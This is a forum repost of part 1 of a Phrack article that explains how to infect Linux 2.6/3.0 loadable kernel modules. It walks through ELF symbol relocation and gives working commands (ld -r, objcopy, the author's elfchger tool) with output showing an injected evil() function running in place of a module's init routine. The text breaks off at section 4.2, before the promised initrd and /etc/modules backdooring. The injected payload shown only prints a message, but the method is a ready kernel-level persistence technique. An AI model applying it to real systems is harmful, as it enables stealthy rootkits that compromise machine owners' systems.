Infecting loadable kernel modules 2.6/3.0 by styx^ - Part 1 04-14-2013, 06:05 AM
#1
==Phrack Inc.==
Volume 0x0e, Issue 0x44, Phile #0x0b of 0x13
|=-----------------------------------------------------------------------=|
|=----------------=[ Infecting loadable kernel modules ]=----------------=|
|=-------------------=[ kernel versions 2.6.x/3.0.x ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ by styx^ ]=-----------------------------=|
|=-----------------------=[ the.styx@Gmail.com ]=------------------------=|
|=-----------------------------------------------------------------------=|
---[ Index
1 - Introduction
2 - Kernel 2.4.x method
2.1 - First try
2.2 - LKM loading explanations
2.3 - The relocation process
3 - Playing with loadable kernel modules on 2.6.x/3.0.x
3.1 - A first example of code injection
4 - Real World: Is it so simple?
4.1 - Static functions
4.1.1 - Local symbol
4.1.2 - Changing symbol bind
4.1.3 - Try again
4.2 - Static __init functions
4.3 - What about cleanup_module
5 - Real life example
5.1 - Inject a kernel module in /etc/modules
5.2 - Backdooring initrd
6 - What about other systems?
6.1 - Solaris
6.1.1 - A basic example
6.1.2 - Playing with OS modules
6.1.3 - Keeping it stealthy
6.2 - *BSD
6.2.1 - FreeBSD - NetBSD - OpenBSD
7 - Conclusion
8 - References
9 - Codes
9.1 - Elfstrchange
9.2 - elfstrchange.patch
---[ 1 - Introduction
In Phrack #61 [1] truff introduced a new method to infect a loadable kernel
module on Linux kernel x86 2.4.x series. Actually this method is currently
not compatible with the Linux kernel 2.6.x/3.0.x series due to the many
changes made in kernel internals. As a result, in order to infect a kernel
module, changing the name of symbols in .strtab section is not enough
anymore; the task has become a little bit trickier. In this article it
will be shown how to infect a kernel module on Linux kernel x86 2.6.*/3.0.x
series. All the methods discussed here have been tested on kernel version
2.6.35, 2.6.38 and 3.0.0 on Ubuntu 10.10, 11.04 and 11.10 and on kernel
version 2.6.18-238 on CentOS 5.6.
The proposed method has been tested only on 32-bit architectures: a 64-bit
adaptation is left as an exercise to the reader. Finally, I want to
clarify that the proposed paper is not innovative, but is only an update of
truff's paper.
---[ 2 - Kernel 2.4.x method
---[ 2.1 - First try
With the help of a simple example it will be explained why truff's method
is no longer valid: we are using the "elfstrchange" tool provided in his
paper. First, let's write a simple testing kernel module:
/****************** orig.c ***********************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
int evil(void) {
printk(KERN_ALERT "Init Inject!");
return 0;
}
int init(void) {
printk(KERN_ALERT "Init Original!");
return 0;
}
void clean(void) {
printk(KERN_ALERT "Exit Original!");
return;
}
module_init(init);
module_exit(clean);
/****************** EOF **************************************************/
The module_init macro is used to register the initialization function of
the loadable kernel module: in other words, the function which is called
when the module is loaded, is the init() function. Reciprocally the
module_exit macro is used to register the termination function of the LKM
which means that in our example clean() will be invoked when the module is
unloaded. These macros can be seen as the constructor/destructor
declaration of the LKM object. A more exhaustive explanation can be found
in section 2.2.
Below is the associated Makefile:
/****************** Makefile *********************************************/
obj-m += orig.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean
/****************** EOF **************************************************/
Now the module can be compiled and the testing can start:
$ make
...
Truff noticed that altering the symbol names located in the .strtab section
was enough to fool the resolution mechanism of kernel v2.4. Indeed the
obj_find_symbol() function of modutils was looking for a specific symbol
("init_module") using its name [1]:
/************************************************************************/*************************************************************************/
module->init = obj_symbol_final_value(f, obj_find_symbol(f,
SPFX "init_module"));
module->cleanup = obj_symbol_final_value(f, obj_find_symbol(f,
SPFX "cleanup_module"));
/************************************************************************/*************************************************************************/
Let's have a look at the ELF symbol table of orig.ko:
$ objdump -t orig.ko
orig.ko: file format elf32-i386
SYMBOL TABLE:
...
00000040 g F .text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
We want to setup evil() as the initialization function instead of init().
Truff was doing it in two steps:
1. renaming init to dumm
2. renaming evil to init
This can easily be performed using his tool, "elfstrchange", slightly
bug-patched (see section 9):
$ ./elfstrchange orig.ko init dumm
[+] Symbol init located at 0xa91
[+] .strtab entry overwritten with dumm
$ ./elfstrchange orig.ko evil init
[+] Symbol evil located at 0xa4f
[+] .strtab entry overwritten with init
$ objdump -t orig.ko
...
00000040 g F .text 0000001b init <-- evil()
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b dumm <-- init()
Now we're loading the module:
$ sudo insmod orig.ko
$ dmesg |tail
...
[ 2438.317831] Init Original!
As we can see the init() function is still invoked. Applying the same
method with "init_module" instead of init doesn't work either. In the next
subsection the reasons of this behaviour are explained.
---[ 2.2 LKM loading explanations
In the above subsection I briefly mentioned the module_init and
module_exit macros. Now let's analyze them. In kernel v2.4 the entry and
exit functions of the LKMs were init_module() and cleanup_module(),
respectively. Nowadays, with kernel v2.6, the programmer can choose the
name he prefers for these functions using the module_init() and
module_exit() macros. These macros are defined in "include/linux/init.h"
[3]:
/************************************************************************/*************************************************************************/
#ifndef MODULE
[...]
#else /* MODULE */
[...]
/* Each module must use one module_init(). */
#define module_init(initfn) \
static inline initcall_t __inittest(void) \
{ return initfn; } \
int init_module(void) __attribute__((alias(#initfn)));
/* This is only required if you want to be unloadable. */
#define module_exit(exitfn) \
static inline exitcall_t __exittest(void) \
{ return exitfn; } \
void cleanup_module(void) __attribute__((alias(#exitfn)));
[...]
#endif /*MODULE*/
/************************************************************************/*************************************************************************/
We are only interested in the "loadable module" case, that is when MODULE
is defined. As you can see, init_module is always declared as an alias of
initfn, the argument of the module_init macro. As a result, the compiler
will always produce identical symbols in the relocatable object: one for
initfn and one for "module_init". The same rule applies for the termination
function, if the unloading mechanism is compiled in the kernel (that is if
CONFIG_MODULE_UNLOAD is defined).
When a module is compiled, first the compiler creates an object file for
each source file, then it generates an additional generic source file,
compiles it and finally links all the relocatable objects together.
In the case of orig.ko, orig.mod.c is the file generated and compiled as
orig.mod.o. The orig.mod.c follows:
/************************************************************************/*************************************************************************/
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
MODULE_INFO(vermagic, VERMAGIC_STRING);
struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ 0x4d5503c4, "module_layout" },
{ 0x50eedeb8, "printk" },
{ 0xb4390f9a, "mcount" },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
MODULE_INFO(srcversion, "EE786261CA9F9F457DF0EB5");
/************************************************************************/*************************************************************************/
This file declares and partially initializes a struct module which will be
stored in the ".gnu.linkonce.this_module" section of the object file. The
module struct is defined in "include/linux/module.h":
/************************************************************************/*************************************************************************/
struct module
{
[...]
/* Unique handle for this module */
char name[MODULE_NAME_LEN];
[...]
/* Startup function. */
int (*init)(void);
[...]
/* Destruction function. */
void (*exit)(void);
[...]
};
/************************************************************************/*************************************************************************/
So when the compiler auto-generates the C file, it always makes the .init
and .exit fields of the struct pointing to the function "init_module" and
"cleanup_module". But the corresponding functions are not declared in this
C file so they are assumed external and their corresponding symbols are
declared undefined (*UND*):
$ objdump -t orig.mod.o
orig.mod.o: file format elf32-i386
SYMBOL TABLE:
[...]
00000000 *UND* 00000000 init_module
00000000 *UND* 00000000 cleanup_module
When the linking with the other objects is performed, the compiler is then
able to solve this issue thanks to the aliasing performed by the
module_init() and module_exit() macros.
$ objdump -t orig.ko
00000000 g F .text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000184 __this_module
00000040 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000040 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
The aliasing can be seen as a smart trick to allow the compiler to declare
and fill the __this_module object without too much trouble. This object is
essential for the loading of the module in the v2.6.x/3.0.x kernels.
To load the LKM, a userland tool (insmod/modprobe/etc.) calls the
sys_init_module() syscall which is defined in "kernel/module.c":
/************************************************************************/*************************************************************************/
SYSCALL_DEFINE3(init_module, void __user *, umod,
unsigned long, len, const char __user *, uargs)
{
struct module *mod;
int ret = 0;
...
/* Do all the hard work */
mod = load_module(umod, len, uargs);
...
/* Start the module */
if (mod->init != NULL)
ret = do_one_initcall(mod->init);
...
}
/************************************************************************/*************************************************************************/
The load_module() function returns a pointer to a "struct module" object
when the LKM is loaded in memory. As stated in the source code,
load_module() handles the main tasks associated with the loading and as
such is neither easy to follow nor to explain in a few sentences. However
there are two important things that you should know:
- load_module() is responsible for the ELF relocations
- the mod->init is holding the relocated value stored in __this_module
Note: Because __this_module is holding initialized function pointers (the
address of init() and clean() in our example), there has to be a relocation
at some point.
After the relocation is performed, mod->init() refers to the kernel mapping
of init_module() and can be called through do_one_initcall() which is
defined in "init/main.c":
/************************************************************************/*************************************************************************/
int __init_or_module do_one_initcall(initcall_t fn)
{
int count = preempt_count();
int ret;
if (initcall_debug)
ret = do_one_initcall_debug(fn); <-- init_module() may be
else called here
ret = fn(); <-- or it may be called
here
msgbuf[0] = 0;
...
return ret;
}
/************************************************************************/*************************************************************************/
---[ 2.3 - The relocation process
The relocation itself is handled by the load_module() function and without
any surprise the existence of the corresponding entries can be found in the
binary:
$ objdump -r orig.ko
./orig.ko: file format elf32-i386
...
RELOCATION RECORDS FOR [.gnu.linkonce.this_module]:
OFFSET TYPE VALUE
000000d4 R_386_32 init_module
00000174 R_386_32 cleanup_module
This means that the relocation has to patch two 32-bit addresses (because
type == R_386_32) located at:
- (&.gnu.linkonce.this_module = &__this_module) + 0xd4 [patch #1]
- (&.gnu.linkonce.this_module = &__this_module) + 0x174 [patch #2]
A relocation entry (in a 32-bit environment) is an Elf32_Rel object and
is defined in "/usr/include/elf.h":
/************************************************************************/*************************************************************************/
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index
*/
} Elf32_Rel;
#define ELF32_R_SYM(val) ((val) >> 8)
/************************************************************************/*************************************************************************/
The important thing to remember is that the symbol is located using
ELF32_R_SYM() which provides an index in the table of symbols, the .symtab
section.
This can be easily seen:
$ readelf -S ./orig.ko | grep gnu.linkonce
[10] .gnu.linkonce.thi PROGBITS 00000000 000240 000184 00 WA 0 0 32
[11] .rel.gnu.linkonce REL 00000000 0007f8 000010 08 16 10 4
The relocation section associated with section 10 is thus section 11.
$ readelf -x 11 orig.ko
Hex dump of section '.rel.gnu.linkonce.this_module':
0x00000000 d4000000 01160000 74010000 01150000 ........t.......
So ELF32_R_SYM() is returning 0x16 (=22) for the first relocation and 0x1b
(=21) for the second one. Now let's see the table of symbols:
$ readelf -s .orig.ko
Symbol table '.symtab' contains 33 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
...
21: 00000040 25 FUNC GLOBAL DEFAULT 2 cleanup_module
22: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module
...
This is a perfect match. So when the LKM is loaded:
- The kernel performs a symbol resolution and the corresponding symbols
are updated with a new value. At his point init_module and
cleanup_module are holding kernel space addresses.
- The kernel performs the required relocations using the index in the
table of symbols to know how to patch. When the relocation is
performed __this_module has been patched twice.
At this point it should be clear that the address value of the init_module
symbol has to be modified if we want to call evil() instead of init().
---[ 3 - Playing with loadable kernel modules on 2.6.x/3.0.x
As pointed out above, the address of the init_module symbol has to be
modified in order to invoke the evil() function at loading time. Since the
LKM is a relocatable object, this address is calculated using the offset
(or relative address) stored in the st_value field of the Elf32_Sym
structure [2], defined in "/usr/include/elf.h":
/************************************************************************/*************************************************************************/
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
/************************************************************************/*************************************************************************/
$ objdump -t orig.ko
orig.ko: file format elf32-i386
SYMBOL TABLE:
...
00000040 g F .text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
The objdump output shows that:
- the relative address of evil() is 0x00000040;
- the relative address of init_module() is 0x00000020;
- the relative address of init() is 0x00000020;
Altering these offsets is enough to have evil() being called instead of
init_module() because the relocation process in the kernel will produce the
corresponding "poisoned" virtual address.
The orig.ko has to look like this:
00000040 g F .text 0000001b evil
...
00000040 g F .text 0000001b init_module
To do so, we can use my 'elfchger' script in order to modify the ELF file.
The code structure is the same as truff's one, with some minor changes.
The script takes the following input parameters:
./elfchger -s [symbol] -v [value] <module_name>
Where [value] represents the new relative address of the [symbol]
(init_module in our case) in <module_name>:
Let's apply it to our example:
$ ./elfchger -s init_module -v 00000040 orig.ko
[+] Opening orig.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x77c
[+] Finding ".strtab" section...
>> Found at 0x7a4
[+] Getting symbol' infos:
>> Symbol found at 0x99c
>> Index in symbol table: 0x16
[+] Replacing 0x00000020 with 0x00000040... done!
The ELF file is now changed:
$ objdump -t orig.ko
orig.ko: file format elf32-i386
SYMBOL TABLE:
...
00000040 g F .text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000040 g F .text 0000001b init_module
00000000 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
Let's load the module:
$ sudo insmod orig.ko
$ dmesg | tail
...
[ 5733.929286] Init Inject!
$
As expected the evil() function is invoked instead of init() when the
module is loaded.
---[ 3.1 A first example of code injection
The next step is the injection of external code inside the original module
(orig.ko). A new kernel module (evil.ko) will be injected into orig.ko.
We will use both orig.c and evil.c source codes:
/***************************** orig.c ************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
int init_module(void) {
printk(KERN_ALERT "Init Original!");
return 0;
}
void clean(void) {
printk(KERN_ALERT "Exit Original!");
return;
}
module_init(init);
module_exit(clean);
/******************************** EOF ************************************/
/***************************** evil.c ************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
int evil(void) {
printk(KERN_ALERT "Init Inject!");
return 0;
}
/******************************** EOF ************************************/
Once the two modules orig.ko and evil.ko are compiled, they can be linked
together using the 'ld -r' command (as explained by truff) because they are
both relocatable objects.
$ ld -r orig.ko evil.ko -o new.ko
$ objdump -t new.ko
new.ko: file format elf32-i386
SYMBOL TABLE:
...
00000040 g F .text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 g F .text 00000019 clean
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
The evil() function has now been linked into the new.ko module. The next
step is to make init_module() (defined in orig.ko) an alias of evil()
(defined in evil.ko). It can be done easily using ./elfchger:
$ ./elfchger -f init_module -v 00000040 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x954
[+] Finding ".strtab" section...
>> Found at 0x97c
[+] Getting symbol' infos:
>> Symbol found at 0xbe4
>> Index in symbol table: 0x1d
[+] Replacing 0x00000020 with 0x00000040... done!
At this point the module can be renamed and loaded:
$ mv new.ko orig.ko
$ sudo insmod orig.ko
$ dmesg | tail
...
[ 6791.920363] Init Inject!
And the magic occurs
As already explained by truff, if we want the original module to work
properly, we need to call its initialization function. This can be done
using an imported symbol which will be fixed at linking time. The init()
function is declared as extern: this means that it will be resolved at
linking time. We use the following code:
/****************************** evil.c ***********************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
extern int init();
int evil(void) {
init();
printk(KERN_ALERT "Init Inject!");
/* do something */
return 0;
}
/******************************** EOF ************************************/
And it works:
$ dmesg | tail
...
[ 7910.392244] Init Original!
[ 7910.392248] Init Inject!
---[ 4 - Real World: Is it so simple?
In this section it will be shown why the method described above when used
in real life may not work. In fact the example modules were overly
simplified for a better understanding of the basic idea of module
infection.
---[ 4.1 - Static functions
The majority of Linux system modules are a little bit different from those
used above. Here is a more accurate example:
/***************************** orig.c ************************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
static int init(void) {
printk(KERN_ALERT "Init Original!");
return 0;
}
static void clean(void) {
printk(KERN_ALERT "Exit Original!");
return;
}
module_init(init);
module_exit(clean);
/******************************** EOF ************************************/
Let's try to use our method to inject the old evil code inside this new
orig module.
$ ld -r orig.ko evil.ko -o new.ko
$ sudo insmod new.ko
insmod: error inserting 'new.ko': -1 Unknown symbol in module
What? More information is needed:
$ dmesg | tail
...
[ 2737.539906] orig: Unknown symbol init (err 0)
The unknown symbol appears to be init. To understand the reason why init is
"unknown" let's have a look at the symbol table of new.ko:
$ objdump -t new.ko
...
SYMBOL TABLE:
...
00000000 l F .text 00000019 clean
00000020 l F .text 0000001b init
...
00000040 g F .text 00000020 evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000000 *UND* 00000000 init
This output shows that there are now two "init" symbols, one of them not
being defined (*UND*). This means that the linker does not perform
correctly the linking between the init functions in orig.ko and evil.ko. As
a result, when the module is loaded, the kernel tries to find the init
symbol, but since it is not defined anywhere it fails to do so and the
module is not loaded.
---[ 4.1.1 - Local symbol
The 'readelf' tool can give us more insight:
$ readelf -s orig.ko
Symbol table '.symtab' contains 26 entries:
Num: Value Size Type Bind Vis Ndx Name
...
14: 00000020 27 FUNC LOCAL DEFAULT 2 init
...
To summarize, we know about the init symbol that:
- its relative address is 0x00000020;
- its type is a function;
- its binding is local;
The symbol binding is now local (while it was previously global) since the
init function is now declared 'static' in orig.c. This has the effect to
reduce its scope to the file in which it is declared. For this reason the
symbol was not properly resolved by the linker. We need to do something in
order to change the scope of init, otherwise the injection won't work.
---[ 4.1.2 - Changing symbol binding
It's possible to change a symbol binding using the 'objcopy' tool. In fact
the '--globalize-symbol' option can be used to give global scoping to the
specified symbol:
$ objcopy --globalize-symbol=init ./orig.ko orig2.ko
But if for some reason, objcopy is not present, the tool that I wrote can
also globalize a particular symbol modifying all the necessary fields
inside the ELF file.
Each symbol table entry in the .symtab section is defined as follows [2]:
/******************************** EOF ************************************/
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
/******************************** EOF ************************************/
First, it's necessary to find in the ELF file the symbol we are looking for
(init) and check if it has a global or a local binding. The function
ElfGetSymbolByName() searches the offset at which init symbol is located in
the .symtab and it fills the corresponding "Elf32_Sym sym" structure.
Next, the binding type must be checked by looking at the st_info field.
Passing sym.st_info to the macro ELF32_ST_BIND() defined in "<elf.h>",
returns the expected binding value.
If the symbol has a local binding, these steps have to be performed:
1. Reorder the symbols: the symbol we are interested in must be placed
among the global symbols inside the .symtab section. We'll see later why
this step is mandatory. We need to move the init symbol from:
$ readelf -s orig.ko
Symbol table '.symtab' contains 26 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 SECTION LOCAL DEFAULT 1
2: 00000000 0 SECTION LOCAL DEFAULT 2
3: 00000000 0 SECTION LOCAL DEFAULT 4
4: 00000000 0 SECTION LOCAL DEFAULT 5
5: 00000000 0 SECTION LOCAL DEFAULT 6
6: 00000000 0 SECTION LOCAL DEFAULT 8
7: 00000000 0 SECTION LOCAL DEFAULT 9
8: 00000000 0 SECTION LOCAL DEFAULT 10
9: 00000000 0 SECTION LOCAL DEFAULT 12
10: 00000000 0 SECTION LOCAL DEFAULT 13
11: 00000000 0 SECTION LOCAL DEFAULT 14
12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c
13: 00000000 25 FUNC LOCAL DEFAULT 2 clean
14: 00000020 27 FUNC LOCAL DEFAULT 2 init <-----
15: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6
16: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c
17: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31
18: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends
19: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions
20: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5
21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module
22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module
23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module
24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount
25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk
To:
Symbol table '.symtab' contains 26 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 SECTION LOCAL DEFAULT 1
2: 00000000 0 SECTION LOCAL DEFAULT 2
3: 00000000 0 SECTION LOCAL DEFAULT 4
4: 00000000 0 SECTION LOCAL DEFAULT 5
5: 00000000 0 SECTION LOCAL DEFAULT 6
6: 00000000 0 SECTION LOCAL DEFAULT 8
7: 00000000 0 SECTION LOCAL DEFAULT 9
8: 00000000 0 SECTION LOCAL DEFAULT 10
9: 00000000 0 SECTION LOCAL DEFAULT 12
10: 00000000 0 SECTION LOCAL DEFAULT 13
11: 00000000 0 SECTION LOCAL DEFAULT 14
12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c
13: 00000000 25 FUNC LOCAL DEFAULT 2 clean
14: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6
15: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c
16: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31
17: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends
18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions
19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5
20: 00000020 27 FUNC GLOBAL DEFAULT 2 init <-----
21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module
22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module
23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module
24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount
25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk
This task is accomplished by the "ReorderSymbols()" function.
2. Updating the information about the init symbol (i.e. its offset, index,
etc..) according to its new position inside the .symtab section.
3. Changing the symbol binding from local to global by modifying the
st_info field using the ELF32_ST_INFO macro:
#define ELF32_ST_INFO(b, t) (((b)<<4)+((t)&0xf))
Where 'b' is the symbol binding and 't' the symbol type.
The binding values are:
Name Value
==== =====
STB_LOCAL 0
STB_GLOBAL 1
STB_WEAK 2
STB_LOPROC 13
STB_HIPROC 15
Obviously, STB_GLOBAL has to be used for our purpose.
The type values are:
Name Value
==== =====
STT_NOTYPE 0
STT_OBJECT 1
STT_FUNC 2
STT_SECTION 3
STT_FILE 4
STT_LOPROC 13
STT_HIPROC 15
The STT_FUNC is the type value to specify functions.
So, the resulting macro will be:
ELF32_ST_INFO(STB_GLOBAL, STT_FUNC);
The init st_info field should then be set equal to the macro's result.
4. Updating the symtab section header, defined as:
typedef struct {
Elf32_Word sh_name;
Elf32_Word sh_type;
Elf32_Word sh_flags;
Elf32_Addr sh_addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;
Elf32_Word sh_addralign;
Elf32_Word sh_entsize;
} Elf32_Shdr;
The header can be output by the 'readelf -e' command:
$ readelf -e orig.ko
ELF Header:
...
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[15] .shstrtab STRTAB 00000000 00040c 0000ae 00 0 0 1
[16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4
[17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1
The value of the information (sh_info) field (reported as 'Inf')
depends on the section header type (sh_type):
sh_type sh_link sh_info
======= ======= =======
SHT_DYNAMIC The section header index of 0
the string table used by
entries in the section.
SHT_HASH The section header index of 0
the symbol table to which the
hash table applies.
SHT_REL, The section header index of The section header index of
SHT_RELA the associated symbol table. the section to which the
relocation applies.
SHT_SYMTAB, The section header index of One greater than the symbol
SHT_DYNSYM the associated string table. table index of the last
local symbol (binding
STB_LOCAL).
other SHN_UNDEF 0
The sh_info must be updated according to the rules of the SHT_SYMTAB
type. In our example, its value will be 20 = 19 + 1 (remember that our
symbol will be placed after the "__mod_vermagic5" symbol, whose entry
number is 19). This is the reason why reorder the symbol list (step 1)
is a necessary step.
All these tasks are accomplished by the tool I wrote by using this option:
./elfchger -g [symbol] <module_name>
Where [symbol] is the symbol name which binding value has to be modified.
---[ 4.1.3 Try again
At this point we can try another test, in which the developed tool will be
used. The two modules (orig.c and evil.c) and the Makefile remain the same.
The first step is to change the init binding from 'local' to 'global'. The
outcome of the elfchger script can be checked by looking at the readelf's
output before and after its use. Before running the script readelf outputs:
$ readelf -a orig.ko
...
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4
...
Symbol table '.symtab' contains 26 entries:
Num: Value Size Type Bind Vis Ndx Name
...
10: 00000000 0 SECTION LOCAL DEFAULT 13
11: 00000000 0 SECTION LOCAL DEFAULT 14
12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c
13: 00000000 25 FUNC LOCAL DEFAULT 2 clean
14: 00000020 27 FUNC LOCAL DEFAULT 2 init
...
21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module
22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module
...
Let's run the script on the orig.ko file:
$ ./elfchger -g init orig.ko
[+] Opening orig.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x73c
[+] Finding ".strtab" section...
>> Found at 0x764
[+] Getting symbol' infos:
>> Symbol found at 0x8bc
>> Index in symbol table: 0xe
[+] Reordering symbols:
>> Starting:
>> Moving symbol from f to e
>> Moving symbol from 10 to f
>> Moving symbol from 11 to 10
>> Moving symbol from 12 to 11
>> Moving symbol from 13 to 12
>> Moving symbol from 14 to 13
>> Moving our symbol from 14 to 14
>> Last LOCAL symbol: 0x14
>> Done!
[+] Updating symbol' infos:
>> Symbol found at 0x91c
>> Index in symbol table: 0x14
>> Replacing flag 'LOCAL' located at 0x928 with 'GLOBAL'
[+] Updating symtab infos at 0x73c
Let's see what happened:
$ readelf -a orig.ko
...
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 20 4
[17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1
...
Symbol table '.symtab' contains 26 entries:
Num: Value Size Type Bind Vis Ndx Name
...
18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions
19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5
20: 00000020 27 FUNC GLOBAL DEFAULT 2 init
21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module
...
So as expected:
- the position of init is changed from 14 to 20 in the symbol table;
- the 'Inf' field in the .symtab header has changed: its current value is
20 (19 (last index local symbol) + 1);
- the binding of init has changed from local to global.
Now we can link together orig.ko and evil.ko:
$ ld -r orig.ko evil.ko -o new.ko
$ objdump -t new.ko
...
00000040 g F .text 00000020 evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
We can notice that the init symbol is no more *UND*. The final step is to
modify the value of init_module:
$ ./elfchger -s init_module -v 00000040 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x954
[+] Finding ".strtab" section...
>> Found at 0x97c
[+] Getting symbol' infos:
>> Symbol found at 0xbfc
>> Index in symbol table: 0x1e
[+] Replacing 0x00000020 with 0x00000040... done!
Let's try to load module:
$ mv new.ko orig.ko
$ sudo insmod orig.ko
$ dmesg|tail
...
[ 2385.342838] Init Original!
[ 2385.342845] Init Inject!
Cool!! It works!
---[ 4.2 Static __init init functions
In the previous section it was demonstrated how to inject modules when the
init function is declared as static. However in some cases the startup
function in the kernel modules is defined with the __init macro:
